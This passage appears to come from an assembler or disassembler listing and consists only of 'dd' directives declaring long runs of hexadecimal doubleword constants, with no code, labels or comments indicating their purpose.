dd 0EE76E29Eh, 10519231h, 4E27C514h, 93AD23D3h, 0A56D4E4Bh
dd 262E191Bh, 4F175238h, 0FD392F53h, 685FB3F2h, 0B262E1E5h
dd 36B02CCDh, 0E1D19DD3h, 496D4330h, 6351F449h, 3624B4Dh
dd 7EAC3039h, 3171C7C3h, 0BF77BB43h, 0FA479C46h, 79F444FFh
dd 1E81B5C9h, 0E38F87E4h, 0ADE4EA90h, 0AD4CFC4Ch, 8CEA6EE5h
dd 9BCDEDD4h, 1908CE2Bh, 0CDA8765Ah, 3E625245h, 7560F601h
dd 48ED63ECh, 8C82A977h, 6412C15Bh, 55ACDDD5h, 8BBA7BA7h
dd 9B2B58E4h, 0D9CEDA1h, 258A860Ah, 8B2D7F42h, 61154436h
dd 0C64A2100h, 0B76651AAh, 779F9F49h, 21295DEBh, 9B7FA2D5h
dd 0B9F1C95Bh, 0FA21EEB7h, 3D837F48h, 0DF031298h, 9670D675h
dd 0D177B5D1h, 0FA3B14D8h, 0A02BA74Fh, 8A190D82h, 0ADAC6F19h
dd 44ADF42Eh, 0B1F6F50h, 7EAA1D19h, 0B20F05DCh, 77738935h
dd 0DED98AF7h, 0F6225167h, 0F4540F86h, 80B12809h, 8D85A972h
dd 0AAABA124h, 0F2CE5689h, 41C87388h, 0B17AD9D0h, 0BA66EB4Bh
dd 3AD2C47Ch, 0E9828D8Dh, 0CA532DD9h, 65822FC0h, 2B4A6BE8h
dd 0C9DB7151h, 86143A2Bh, 0E4D457EDh, 49C762ADh, 9EBB1A1h
dd 115217Bh, 5C511820h, 3B6434Bh, 7780106Fh, 0B6C0A89Dh
dd 2C588589h, 0BD6DF65h, 0B49E9F8Ah, 0CA108D66h, 2357948Ah
dd 5E0001B3h, 77A081Eh, 47B2D44Eh, 0AA35C1E6h, 4226017Bh
dd 0D6001D99h, 3AD899C1h, 7B7A5C18h, 0FC8CB27Eh, 178964D2h
dd 6C0D8246h, 0D4615E94h, 89B2868Eh, 429B812Fh, 0EB973E43h
dd 7FFDC909h, 4AB19A23h, 7706F901h, 9A0E9D4Ch, 0E18D6F93h
dd 1BB94A7h, 0BE13623h, 8F1DFE77h, 0C507A695h, 0FD4FB3BDh
dd 0C48AE09Ah, 7BEA52C3h, 68802EDFh, 365BCC3Dh, 0DB9EF43Ah
dd 858982B0h, 0AD7C1898h, 610AF07Bh, 0DB859010h, 3F2C6C1Eh
dd 0EBFCD427h, 4BC71B06h, 93F86D9Dh, 0D00EC11Eh, 71C547DBh
dd 3759D9C1h, 0FAA7516Bh, 0DB202A68h, 0AFE0B1D7h, 91212511h
dd 69B9B770h, 8061E21Dh, 0AE0CE6DEh, 747EC4Ah, 2C57E576h
dd 46772255h, 6CFA93ADh, 8856CAE7h, 0CD3B2637h, 0BC2A8B52h
dd 0C7C5746Bh, 0E53336B9h, 0A9DC1D16h, 2BB7FA58h, 15757D3h
dd 89B41BCh, 0EB662D31h, 28D33F3Fh, 5BA5A736h, 0D0588519h
dd 0FE38D2D2h, 37661585h, 597E567Bh, 1C982E2Eh, 0B8DB1475h
dd 0CA14EA96h, 7D495436h, 9503B3F6h, 99FF1F48h, 0A6D25FE6h
dd 0D0DC137Ch, 0C25FDCBAh, 6FFD123Eh, 9D6FBE2Eh, 0DC4EA2BAh
dd 6A19D49Dh, 0E1DCC853h, 99E446DAh, 0BA90ADDBh, 5E9B8143h
dd 0A8E064CEh, 0C5F8AB84h, 4B9CDA60h, 0D6C16964h, 35C45365h
dd 0F8C971CDh, 619FF3Ah, 0A64B5F58h, 0B36476F5h, 195FD89Dh
dd 2747B386h, 38FDD9A0h, 8227028Ch, 0CB729286h, 0F4EE65CDh
dd 6E5D59CAh, 1B3ABD5Bh, 0E4231191h, 0E1B5ACAEh, 88D28A36h
dd 67A09C3Dh, 0B85DCA64h, 0BB1EF25Ah, 0B34FDA85h, 8C2362D7h
dd 0E52E1230h, 0B297CB00h, 0E8ADE145h, 0A35C93F9h, 5E9C50B7h
dd 278F3EFEh, 0D99CEAA1h, 56BEC2A4h, 3691421Dh, 0A70F1203h
dd 0F331FF14h, 0F5F75F4Bh, 0A620CAA2h, 0DDC0E794h, 0DF7DB77Bh
dd 3B58302Ah, 0E7BD79B1h, 48BDF4D9h, 0FDA58CD1h, 0E88AC886h
dd 61E0E9FCh, 2355C58Ch, 0C1FE45B1h, 95C1C6CCh, 0DEC0AAACh
dd 0E98B1958h, 0C7BEE9A0h, 420E620Bh, 1766AAFh, 483F02h
dd 0F4A0DEE7h, 0F24F24F2h
dd 86EEBBC5h, 0DA3F0BC3h, 1340718h, 75863A9Ch, 43AE9A61h
dd 2E99AD1h, 0FF5C74B3h, 484FEC12h, 0A572A108h, 0FC56D36Eh
dd 30E56F19h, 3675CB0h, 5CB630h, 0A35FB13h, 36A68095h
dd 2859EBCFh, 2BAB7D72h, 76202F9Dh, 0A215C953h, 0C26C3CBCh
dd 82AEE63h, 0B8AF5A27h, 0BCDB35D5h, 0EDA24952h, 3797B9F0h
dd 0C56B516Bh, 5D1FF5B8h, 450E8395h, 51EA2ACAh, 4D41921h
dd 41E1BC52h, 5814F467h, 9F9882E2h, 3C6F1930h, 4BB4AD17h
dd 7533141Eh, 5DCF2B10h, 77C0B0ADh, 231F2608h, 91F67B73h
dd 82CF2245h, 0D4E6E76Ch, 0BA6AAD0Dh, 30A63032h, 1534CF9Dh
dd 0CAD93D52h, 808E41FBh, 0F8748609h, 89C91191h, 7BB6EB25h
dd 7F8F5B2Bh, 21F2B368h, 0A4887C98h, 59B236D8h, 0B41C16D1h
dd 2A96340Dh, 37793CECh, 884A9DA9h, 0AE65BBBAh, 43E6D08Ah
dd 29B43DE9h, 68F86787h, 28601063h, 6B27B960h, 4233B477h
dd 919D940h, 0F01469C5h, 0D845F2EEh, 0F6862200h, 93FA87Ch
dd 0B7EC6F49h, 270DFD5Ch, 0BE85A518h, 50999E5Ch, 0A9A2Eh
dd 62EF5C6Eh, 0EAFDE4F1h, 0AE71EE12h, 7FDBEF40h, 710C3C9Dh
dd 61709BC2h, 0CE001930h, 0DEF984ACh, 51038859h, 955A9931h
dd 0D64EF339h, 7DB15DC1h, 0A43F3AD1h, 0D0419F37h, 88F293FBh
dd 4AE38D43h, 1238B9D3h, 0EF94A51Dh, 28E13F3Fh, 75BE98C7h
dd 78B3BA51h, 0E781A4CBh, 1DACAA56h, 5B65CF9Ah, 13654C61h
dd 5FF117D7h, 273E23CBh, 7C53468Dh, 0BEF67687h, 4631F13Ah
dd 4A86D176h, 0E68AAEC2h, 47CD1DEBh, 9ED19D37h, 0BB46E11Ch
dd 0CA7DA541h, 31CF9498h, 14745A6Ah, 22704D3Ah, 6C38D53Ch
dd 0F50843B3h, 9A4DD3C8h, 8E75D427h, 614BB003h, 0A68ECD48h
dd 2644D131h, 0F788452Ah, 54A6DB9Eh, 8DCD2829h, 7D9145E7h
dd 0E3D71BC7h, 0C325D6ACh, 0EF12309Bh, 5B74B7DBh, 9B70C0Fh
dd 0C777C238h, 11AE3A95h, 5CBE1F00h, 7A638EF6h, 25B3AE8Ah
dd 107ECDA5h, 2DAA9F0Dh, 6715AC2Ch, 69BB5824h, 0D8A2CE63h
dd 37909A82h, 7A275CB6h, 536236B8h, 0BD20FDEDh, 0CCBD130Dh
dd 0F308D4FDh, 283351CCh, 884DCE6Ch, 8EEC97C3h, 0E204703Ah
dd 55BD880h, 6AE1DF6h, 72E4380h, 0FD141C0Fh, 1B75E938h
dd 0AF425A77h, 67E3C281h, 5A7156F6h, 460571B2h, 0AC49B716h
dd 0B7A49418h, 0B96D76D8h, 44D10444h, 51340462h, 99DE1EC8h
dd 0E85BFC45h, 7748146Bh, 580B8BBBh, 9B657FECh, 5056C2C0h
dd 3AD368F0h, 50A25443h, 0CEA035FBh, 0AA64EC52h, 0C16D175h
dd 0F881AD0Ch, 0CE41C389h, 344A9E02h, 0D2CC7A29h, 9088C343h
dd 8ED8239h, 0CF30FADBh, 0D5A14932h, 8F72BC12h, 0DB02855Bh
dd 16FBD375h, 0BB12EA2Fh, 0B9483323h, 61332A1Bh, 459791FFh
dd 0ABC07DEFh, 1AAED6B3h, 9723D07Eh, 539AF458h, 0F6A6CD8Ah
dd 0B30AB159h, 1450EB29h, 7CC4012Ah, 911B53CAh, 0FDD3E55Ah
dd 8D87D0CFh, 0B906B194h, 504F105Eh, 7E4D7AA2h, 0A07F0C89h
dd 8AAE2413h, 654051A3h, 1D5F8680h, 731D765Ah, 0BD23DE09h
dd 54AE46C9h, 0DD36432Fh, 0F9E93D0Ch, 0BD15F99Ah, 66A48758h
dd 0C64C228h, 0DBD1C9FEh, 4CAAE6F3h, 4E0E2409h, 0E1504434h
dd 0CC397D72h, 3781B2A5h, 706A9D7Ah, 7E93AC7Eh, 4FDA42D7h
dd 46E96DB8h, 14D98F4Ah, 1A2DBD53h, 8FA34352h, 3D2AAD66h
dd 8E63A4AAh, 6DA746E3h, 0CBF6D6D0h, 2342DA29h, 0F529A0C1h
dd 5DD369C4h, 9FE85FE4h, 0F9F35458h, 0ABDDE7EAh, 0CFF8F489h
dd 0D5E139D6h, 42003CF4h, 9CEA54BEh, 0CDEDC969h, 8D7AEB1Fh
dd 0DA38F3ABh, 0A1626ECBh, 7A3EC765h, 22215964h, 1839460h
dd 1F2454CEh, 7098F34Fh, 5E5805D5h, 0B7790A51h, 0B63C669Bh
dd 66DB923Fh, 3D37FDD7h, 28EDA471h, 7113C5A6h, 54AEBA56h
dd 53B4259h, 451333CBh, 6A7DCA37h, 0F0444271h, 0DD904B2Dh
dd 92A3B7B9h, 70EFBA9Bh, 855C0C7Bh, 9CBCD31Ah, 3E23998Eh
dd 0C048BEC0h, 0F7F4F90Ah, 8FFFE5B2h, 6B3C22DCh, 3DBF814Fh
dd 1F086DBBh, 0E0D4485Dh, 5306A23Dh, 0F4290632h, 4F0CA594h
dd 9D94C739h, 237B9017h, 0E5647D03h, 5C06CA3Bh, 0C4A619EAh
dd 72976EFEh, 0FEB00F0h, 0A37EFB6Fh, 65E3D9EAh, 0CAEBF2C6h
dd 3FEA3100h, 0F4734149h, 44495E27h, 2D2F58B7h, 9DD514A4h
dd 28B00E67h, 6ADC7EC2h, 6324A8F2h, 0FFAF791Dh, 4C7859B2h
dd 0F5F733A9h, 3409E858h, 0F49DDFA0h, 1C8BA0D9h, 0AB52B9E5h
dd 2BB61A82h, 85CCE50h, 40C2E5B3h, 4D8314FEh, 7AE8AB2Ah
dd 0EA4662B8h, 55647571h, 0ED304C5Fh, 0C11ACB79h, 0B24BAF07h
dd 71FD53B8h, 46438272h, 53A2F87Fh, 0ABF12E76h, 7793749Ah
dd 0F051929Fh, 0B266257Eh, 0FBF1BF05h, 8C580882h, 0BBC3FEA6h
dd 1E0C713h, 0B304BEA6h, 47886808h, 841F2A98h, 3FC474E8h
dd 0B6086340h, 0C5A9D82Eh, 3059DD6Ch, 8C6C9D65h, 13D0A11Fh
dd 90C103ADh, 0AC7A0C8Eh, 0CF7C79C8h, 4D48082Ah, 23A871F4h
dd 3612F501h, 712EA086h, 7A491321h, 619EE93Ch, 0FD516FDFh
dd 0C1070E4Fh, 1624AB14h, 0CCF861A9h, 1AA7C92Fh, 67C1CFA2h
dd 0AD99C179h, 0C96FB314h, 96B7B040h, 496EC1Fh, 9D65F340h
dd 8018A3DCh, 0A06298D7h, 3FF236E8h, 37A01FDCh, 49C04832h
dd 546C9A0Ch, 2A84E066h, 3380956Fh, 0B2954E85h, 6737305Ch
dd 385E7F73h, 93812FE2h, 0ABF4D831h, 35343AA5h, 237C93E7h
dd 17FF2E09h, 6D54A404h, 4FDE99AAh, 3612B98Ah, 591F4F5Dh
dd 0C52F9670h, 88B5CEBDh, 0A6F4CE27h, 827BB195h, 9822E889h
dd 1DF31184h, 0E95F06Bh, 0E83FBB7Ch, 0BBE23C15h, 85F75CE5h
dd 5EEA46BFh, 0A0BEB329h, 0E0E59D6h, 68E70988h, 0B2A52E51h
dd 0F24B6010h, 0E12D1E6Dh, 0E20FE569h, 0D0D1D8D6h, 2AF1F70Dh
dd 21714522h, 8B0BB549h, 72E094ABh, 0CCDEB449h, 8475BA50h
dd 0B0B7BE01h, 785F0F8Dh, 0CF819AABh, 0BA62F383h, 858C1626h
dd 0F2F456C3h, 0E438C9B9h, 0C38BB193h, 0AB2C6B45h, 0EF4572B1h
dd 839E408Fh, 0C6EC8EDDh, 64AE6F52h, 0A5A0B1DFh, 27B4D734h
dd 0CD3B5325h, 0D3D49150h, 0E06CEE31h, 782DE23Ah, 0B7C558D0h
dd 1A4E44C7h, 81806B4Bh, 5839E43Ah, 4ED5F5C1h, 0DCDABA02h
dd 0AEC29BCh, 9D8E1437h, 0D3382997h, 0C1A22DFh, 0C5C71631h
dd 799EA3Dh, 0F1FD7595h, 0AB90E1B5h, 874E5BF2h, 1F6367CFh
dd 0C32C9CCBh, 0DFBB0719h, 7CC568FFh, 45E88AC3h, 488A10A1h
dd 6DA9B54Dh, 9518568Ch, 7CF15925h, 5ABF3A37h, 0C8951018h
dd 563820A4h, 434C8847h, 35F2D5A1h, 0C59BD9A2h, 9105ED20h
dd 49AF2593h, 0B1DCFBBDh, 6DA65DC7h, 2B31D601h, 2A5F12F7h
dd 15C974F9h, 0CB29D750h, 1552987h, 0E2A6424Ch, 824258D1h
dd 3ADF349h, 8CE810FCh, 99E3595Eh, 6DB32AE1h, 629C9BC2h
dd 0CE5C86C5h, 1C6F00C6h, 4E8A5312h, 0BF692FB7h, 0B2033839h
dd 0E94CCD4Ah, 0FEEBD21Ah, 0D683D3DDh, 2709677h, 7567F9B1h
dd 0A3D0BAF9h, 6E4F1D59h, 0F393A128h, 439FCF6Fh, 918C7F3Dh
dd 85641FB0h, 11E85C71h, 5A3F9373h, 0DE0805E0h, 74438EB6h
dd 17E921Eh, 0D68AFAA9h, 5F963C25h, 0D559CCF0h, 800CC56Dh
dd 21806F29h, 33A99E19h, 0C2C6E40Bh, 0AEB9F4E1h, 0FB03AECEh
dd 596EC77Ch, 4FB4F1CDh, 0CAFCBDD5h, 783EE02Eh, 9EAF8642h
dd 0B38B2FACh, 0CE8A7066h, 0BAB3AC3h, 0A3670669h, 3BBF93CDh
dd 793183C7h, 0C32A90FCh, 0F73C1A4h, 0D5168438h, 8EBAB08Ch
dd 8A4D9339h, 0AED0C4F0h
dd 0CCD0AC2h, 0F50291E8h, 904DD858h, 6B33CCB5h, 93C93AB7h
dd 7D0C950Fh, 5B4001C3h, 4360781h, 6EAA3CE0h, 0A6984204h
dd 5447C715h, 0D3E1158Ah, 0D1BB7EB6h, 5AA8D5EEh, 0DD96FA7h
dd 78DC7EA6h, 34692FC4h, 0CAA76C0Bh, 50AACE64h, 62205440h
dd 0F4365DCBh, 367C39D3h, 95113913h, 0C6215CC6h, 387F9138h
dd 739218BDh, 0F6DC6C15h, 0DF4468A1h, 9295B158h, 1190D33Ah
dd 609FDBE7h, 0CDAEBD06h, 0ADFB2DE5h, 8580D374h, 0E19CD747h
dd 0F133960Fh, 2F06DA13h, 7FF9369Bh, 92274721h, 0D0526BBh
dd 65BC06A6h, 9794608Eh, 2B6B30B4h, 85CA7351h, 0D815E79Bh
dd 0B9BC9DA9h, 9909D7E3h, 2804F85h, 0DF17C587h, 0A8452E3Ah
dd 0D8D70756h, 0F35A40A0h, 0CABC9C06h, 2C980E85h, 0E6FF7294h
dd 0F50E976Bh, 80B2111h, 3119D154h, 13A4986Ch, 484EBh
dd 686365CFh, 6D829958h, 0CE9FC184h, 0B6ED77ACh, 9875924Dh
dd 0B4F22448h, 0F506B26Ch, 250FF158h, 2C544825h, 0D6581F59h
dd 0B650CF86h, 0F125C909h, 0B260B27Dh, 60C4D991h, 24E4884Dh
dd 0BB6452D1h, 21754426h, 0EB9D08D0h, 38D6A2C7h, 8703EFC4h
dd 0A20DE148h, 51656676h, 0C06D733Fh, 36C4E6B0h, 1EF7B231h
dd 0FEF2DE6Dh, 0DE53E363h, 0CEA09965h, 0C193D292h, 664C5B64h
dd 1B6450CAh, 9FC8A598h, 0CF85BC57h, 8CE31E8h, 3FFE2153h
dd 0BEDEFBECh, 465761ACh, 446209A1h, 76E91462h, 67A1AE09h
dd 2BAEAB4Ch, 0E5560A7Ah, 573D699Dh, 55FB1B7Ah, 3B838A7Bh
dd 0C36424D2h, 62383C7Fh, 4EF6233Ch, 0FF6635Ah, 0F513ADC8h
dd 0BC2D79CDh, 96A82F40h, 6E76DE7h, 0F65D44B5h, 0F8520EA9h
dd 5B9CC7E5h, 0B52DE3F6h, 8EF13973h, 0EB223D56h, 3D753C9h
dd 9EDF79E9h, 143C1A96h, 5BBC1AD9h, 0C30D6C73h, 0FC3C720Ah
dd 0AA5727B8h, 480B604h, 0BF981E33h, 3AB3BAC5h, 6657D4E7h
dd 5535ABB8h, 68883CD3h, 5EEC0443h, 1DE836h, 14E43175h
dd 1032DB0Fh, 4895569Eh, 0B840996Bh, 149A50C4h, 228B4287h
dd 0A8E0B990h, 0D805D250h, 689E9E2h, 8B96F8D5h, 0D512D914h
dd 7EF152CDh, 0E6E4E1FFh, 0DC4CD30h, 551EC4C2h, 0AC971B8Bh
dd 0D86B6101h, 4F396994h, 93738158h, 5BFB9CCAh, 6118C802h
dd 0DD7361DBh, 0E370ACF8h, 23425AE5h, 1AC335CEh, 0AD417A48h
dd 12B6F1ABh, 302E881Ch, 0ED6C9E43h, 0F008A614h, 706EA0C1h
dd 40CDE1EFh, 9890EC9Ah, 63EF858Bh, 6332CD94h, 0EBB5AC79h
dd 43612184h, 9FEBFC07h, 89E9F029h, 0CC126E05h, 0D5DCD029h
dd 1C87040Ah, 304DEB66h, 0F638FFFEh, 0CAF22AA4h, 0AC986C03h
dd 1F8A652h, 3F6DEE5h, 0E796E313h, 7127EE02h, 1D7A96C3h
dd 3604C84Eh, 0C9053C7Eh, 0C1C57925h, 7EDEEB77h, 0EBC796ECh
dd 1A781E27h, 59850036h, 0D1D5F9F3h, 0C2C38286h, 0F6EE4919h
dd 0CF5F9549h, 45336DB3h, 8729B760h, 0AFB81AA6h, 0F624B67h
dd 921A0D97h, 4B395F76h, 0E697EB3Fh, 16B7DC2Dh, 0A3759D9Ah
dd 5370C476h, 34FA1724h, 4E24FC62h, 5FA524AEh, 0E97A1EA5h
dd 4121C737h, 6FB49229h, 0D06EEA5Dh, 1AA0C2Ah, 0E8D729FFh
dd 6E2CE216h, 0C1169E8Fh, 0A77C69CDh, 0E3F03D1Dh, 0A9ED1A83h
dd 7AAC7D10h, 30E90ED9h, 0E603B2Ah, 0D852343h, 8A7F8F38h
dd 0AB664EDAh, 0B8754C52h, 23769236h, 55F8EE3h, 8BA4B83Eh
dd 0CDA37A12h, 4240EB7Ah, 55B47F75h, 11254717h, 0F2DB8678h
dd 77AB3FF1h, 0A41088ABh, 0C1F9F280h, 629FC99Dh, 51329BF5h
dd 90ED0312h, 21B38CECh, 241C7BBAh, 0E00DCD88h, 6767BB10h
dd 8341353Bh, 410BCAD2h, 0DFE7F600h, 81FEE33Dh, 0EB053613h
dd 0D76493CFh, 0FF92F3BAh, 0C08CEEBBh, 9A494488h, 0F6C9BEA6h
dd 0DBAB0461h, 44B4450Ah, 13C0E1E2h, 0A857AAEFh, 8FE9B084h
dd 210B2019h, 2C886A84h, 48FC80AFh, 9D5062B3h, 36292FCCh
dd 89F467Fh, 41FDA107h, 0E5397169h, 0D64654E2h, 53A020EDh
dd 2B1FC686h, 0E51DF336h, 0F8D83FE2h, 5B58DCAh, 0E1465E67h
dd 0E9D55518h, 364032D0h, 0ADA19B9Eh, 46237E3Bh, 0BF2BEEh
dd 0C03ADD32h, 55BF1AD2h, 92A8EF0Ch, 2088DED3h, 0E98185E6h
dd 6349BB3Dh, 96917786h, 45484CD3h, 0F734391h, 424796CCh
dd 0B3E48EF5h, 71C8C619h, 998431Dh, 6DF61347h, 0A41DC341h
dd 828C0DCDh, 28AED5C9h, 0DD088A80h, 457D61BCh, 1ACDA705h
dd 0AD661A26h, 0DF0A5752h, 216EBAE9h, 0A0B432DAh, 0AC230D8Dh
dd 78C28048h, 0C7830F14h, 37B5CD80h, 9A1E39C6h, 8DCCB29Bh
dd 6CD8A118h, 0FD25CCA3h, 68B9E620h, 0F4CC6880h, 0A84B1443h
dd 0AA91CA14h, 0CC7A9831h, 66AE66E2h, 4C1A46DDh, 743F079Fh
dd 67B09553h, 70A5BD00h, 0FC5AD8FDh, 0DA884BDDh, 0AE906C21h
dd 510B6197h, 0A99FDB22h, 2A1E8724h, 0A0E598CBh, 6FEF1146h
dd 4E56B0C2h, 0B507A5E0h, 0A79CEA94h, 0D526F9C0h, 0CDC77CC1h
dd 0B5099670h, 0B7E8DA59h, 2A9E1DFDh, 0AE20B71Eh, 777B4122h
dd 0FD054E23h, 0EA708D45h, 91DE113Fh, 2154CD3Bh, 0FD817849h
dd 8AD1F575h, 0BB323857h, 25DC87EDh, 7D9996Ch, 0E2670A44h
dd 0F4A166C4h, 727268C2h, 21C4B29Eh, 711852AFh, 83875806h
dd 3EB779D0h, 6958220Eh, 0D1042992h, 0A2CDDC57h, 51DD74A3h
dd 3F54BF3Ch, 4B879A37h, 947BED07h, 63D7AFDEh, 0EE9FCDEh
dd 0F27F9D95h, 0DADE541h, 0FC416162h, 29005E84h, 29F19113h
dd 27243441h, 0F3CCBBA0h, 0ABFC2537h, 0ED2F2C7Bh, 36DF2427h
dd 0E5F9138Dh, 502D6E28h, 2E0316F0h, 0CD2B6553h, 9A130D0Dh
dd 0B95301DAh, 0D2EFAF33h, 0E2B61118h, 26B0633Ch, 83CF4BFDh
dd 0C80137D9h, 857F5F2Dh, 9AE42AEEh, 3E4CD9DAh, 0BD948D2Ah
dd 0A28A10F1h, 1FF26B5Dh, 320A2057h, 0A77C46FCh, 30C99C5Ah
dd 0C26B3FAAh, 0DA41EEDCh, 0EABB3246h, 9A7CC2A8h, 48E06468h
dd 0F4355982h, 7C187A72h, 0E7C82616h, 7815BDC8h, 0F15E3070h
dd 0DB1B7E09h, 955C39F2h, 9BFC246Eh, 9269A3E9h, 0A3842DFBh
dd 5BD6E668h, 5E4E1AADh, 0BAC14813h, 46DCEF82h, 9FEC7FA3h
dd 7DF91308h, 0ADF79F00h, 23E4E001h, 0DE613FDCh, 307B7A4Eh
dd 6F4F6919h, 236003FCh, 565D80F7h, 874B7BF2h, 2F03E844h
dd 3C142176h, 0BECBE457h, 10478959h, 0A6B98D5Ch, 46E8089Fh
dd 0F28BAB2Dh, 0F2887F8Bh, 8AEDB4B7h, 0A5D5F2DBh, 0E1B1CE3Bh
dd 5A749964h, 79E506B8h, 51D0E202h, 0FE7FD58Ah, 0D91879FFh
dd 7071B8F7h, 0DF982225h, 5AFE3771h, 0AF356AD2h, 0D801DF27h
dd 0C9D484F7h, 92BAE5C8h, 0CB866B2Fh, 19AF8595h, 56BD017h
dd 718E5C5h, 7A402BA2h, 833E8B3h, 0C50B5C5Fh, 5B0B93E7h
dd 0ECD53785h, 0AB1658FBh, 0F65AFF30h, 1C30C214h, 893F119Eh
dd 9392D422h, 5DF1F794h, 7619D24Ch, 2330063Eh, 21B1E4D9h
dd 0B752B649h, 0D0F63EE7h, 9849867Eh, 535A4C63h, 32981CECh
dd 0B5F5FD36h, 1BBF71B0h, 7C0C8CEh, 8C6A4E36h, 0A1DB9B5Ah
dd 0A11B2C65h, 1C54BCB3h, 3580F354h, 89DE32A6h, 8B309FA7h
dd 48E1D178h, 0C82B1D20h, 0F28974B4h, 0E90656C0h, 0E7171AABh
dd 7F451DA1h, 0EE55DB99h, 7C0F9620h, 7062B3DDh, 0B4C88B70h
dd 0DFD5A06Fh, 0BA55B177h, 0A615999Eh, 6609B9B1h, 6B15AFBDh
dd 0AE981436h, 64CEB6FBh, 16AA9326h, 2AC7D5B9h, 0DF916D66h
dd 0C7F7FE80h, 18D60723h, 10825120h, 0A1188C17h, 4933C3C6h
dd 0F68AA0E8h, 0BBEB67D6h, 0A0859620h, 77BCAD05h, 35F03008h
dd 0E9A3E2AEh, 20C3C263h
dd 288CAC3Dh, 72BFF51Ch, 11E1805Ah, 0D7587125h, 322331C1h
dd 851CE072h, 0BEAA0FD4h, 0D801B904h, 0F8B16F1Dh, 8A6FB879h
dd 54472E92h, 4EE67415h, 0BB500C5Eh, 0ED70F988h, 0FC05D3D6h
dd 0BA913D58h, 0D6E8131Eh, 0E26ED1CDh, 822BDEEBh, 2E8944B1h
dd 8B831B6Eh, 611D4744h, 48FBAB04h, 5C69CD60h, 3F35627Bh
dd 24F985E6h, 0D11E6A63h, 1E2B61DEh, 405FAF36h, 0C29B64E1h
dd 0E024D6E2h, 4F10F258h, 0D3A73E18h, 3B2F3CE5h, 0CC851472h
dd 8A64DC4Ah, 0BE0DE86Ch, 93F7F092h, 0FF2689E3h, 0D7BB79CFh
dd 0ED03C2Dh, 17A88F5h, 0C1C054B2h, 48D9C2ACh, 0D58D6841h
dd 0E733E67Bh, 21B79BBCh, 0A8C0B5A9h, 513B4107h, 60C954E6h
dd 0C820A486h, 8AA95A50h, 62EAFEA4h, 2C6CE729h, 0A0E86D54h
dd 810054E8h, 825052CBh, 569498FBh, 0BB4D933Fh, 10C8D0CDh
dd 761078ADh, 0BC71A5BEh, 68A81346h, 0F4636B06h, 0B137B4F8h
dd 48C9CC92h, 63D0F783h, 0CB473E3Fh, 0D4FB469Eh, 0E46BA4A8h
dd 8DE34700h, 0C70F91D3h, 0C5918AC6h, 0DBE71975h, 0D776C4h
dd 319E8ECEh, 8A9A36DAh, 0E8D0FC90h, 0C0960FE2h, 6E87F78Ah
dd 0C9FFDCB7h, 0DC96E39Ch, 8FCB39D2h, 910ADC6Bh, 0FF1BBA55h
dd 0F1632FFBh, 7B3B7067h, 2B30F098h, 4683CDD8h, 9E78B7B9h
dd 0B5D60C57h, 5D06AE38h, 0D7BC4E9Ah, 0F52E8A86h, 4A179CA5h
dd 0B22926DDh, 0BBA3758Bh, 702AA721h, 0FFDFC2C5h, 82BA79CAh
dd 0C811D098h, 7C16E5Dh, 4F65FF7h, 1EA7A3C9h, 24D079A4h
dd 0A2562E9h, 1B8EFB45h, 0BA78A70Fh, 7BBAB809h, 0E9F0E40Fh
dd 0B65B03EBh, 17548A8Eh, 0BA7F79B8h, 55AC97B0h, 514FFAF0h
dd 9D4A03FEh, 35A483E1h, 4C6EBD69h, 2195432Ah, 2DD6D1B6h
dd 4EF92F9Fh, 88983D19h, 0B57C71AEh, 6869CCDEh, 67A3E22Ah
dd 20A25113h, 0E7C24BA1h, 365BEF3Ch, 96AD57BEh, 0AF6BBF21h
dd 0EF4964EEh, 41F62AEAh, 0FE4720C2h, 52A9B6C9h, 505A0B92h
dd 601075E1h, 0B7CD79E1h, 84E2D9E4h, 9F7AA780h, 5EE3BF5Eh
dd 84AFB0ACh, 0A3711081h, 0AE35ACE2h, 40E9C57Bh, 453E16A5h
dd 558F6A34h, 69B688BEh, 7104C8FBh, 83837ADEh, 6D615D16h
dd 66F7FC3h, 7F2CE83Ah, 9806B65Ah, 0CB4AD2B7h, 4EA273D6h
dd 659D19BAh, 18482A9Dh, 0A1073837h, 0DF7864D5h, 120A199Bh
dd 2433143Fh, 7576830Eh, 0D4CB6A9Fh, 6DEC8FF1h, 0DE8F2D83h
dd 0FB57CC5Ch, 0E13C4B70h, 0CCF13A7Eh, 0FA3BC070h, 2B373888h
dd 0E65A68C5h, 66707EEEh, 0C512A87Fh, 718E4F33h, 0EA7BC18h
dd 4F087D65h, 288F6DFCh, 30B4E5BBh, 8081C62h, 6CF75473h
dd 0D7FCB890h, 0E0644AAh, 0EFE18473h, 0B1B7AF42h, 7808E32Ah
dd 0C9FAA0Dh, 1C5ABBADh, 71891A1Dh, 4544D5ACh, 1BAC47CCh
dd 0EF6A5201h, 0C7F65B76h, 0B765BD94h, 420C09B1h, 0EBC5AB93h
dd 0FBC30640h, 263DCB6Dh, 2A1132F5h, 21FE6A94h, 111C4FBFh
dd 0FFED2DC3h, 36B12C8Eh, 63B0698h, 0B9FB2AF6h, 0B0360E02h
dd 85AFF915h, 0FE581084h, 0B8C8F54Bh, 17B393B4h, 3A70FCD6h
dd 68BEEA9Dh, 0E13A39C0h, 9AE8C82Eh, 2FEF8A2Bh, 9E6723Eh
dd 7622AFA1h, 2045E148h, 9DFC47E6h, 0FBBE8FEh, 5F65C134h
dd 1B2F588Bh, 854383A6h, 0F908C98h, 0AFA6A8D5h, 0C91DFF7Fh
dd 0A7411459h, 3BDD9875h, 4CD719BCh, 698B718Ah, 226C4496h
dd 0B616FA6Ch, 6BBE854Dh, 39B861C1h, 894B1790h, 0F03360E0h
dd 24633F39h, 29640D6Dh, 51C3B9Bh, 0FEF23F0h, 0C4CB9C8Bh
dd 0A8E6DA1Fh, 0D4E5B182h, 4FC7E6E8h, 4DD2ED63h, 13D9CC0Ch
dd 2ECFB4EFh, 0EEBBF71Bh, 941B715h, 5E73B1DFh, 23202734h
dd 0E19B8320h, 59F963D7h, 2E47474Bh, 90E3B0C9h, 926BF902h
dd 5AA0EA45h, 5D12EE3Dh, 31818258h, 7FFC2A46h, 0B6E8FB10h
dd 500349ACh, 725F8297h, 2185ABDFh, 43EE58C9h, 8786B297h
dd 0B3B6AA04h, 721D6E24h, 78E17CF0h, 18ECCD2Eh, 4DA61F9Dh
dd 8439D2Ah, 32EE0199h, 7AE89733h, 4C245E01h, 4E8B640h
dd 8FF794DCh, 8ED6E64Dh, 12E4DBC9h, 42A4DDF8h, 0EA0C0642h
dd 6BB8357h, 66B98AD9h, 800FA53h, 61EBC9D9h, 7670C908h
dd 9542D4E3h, 0C1103D61h, 7D893D11h, 59DF6C28h, 46C98AA5h
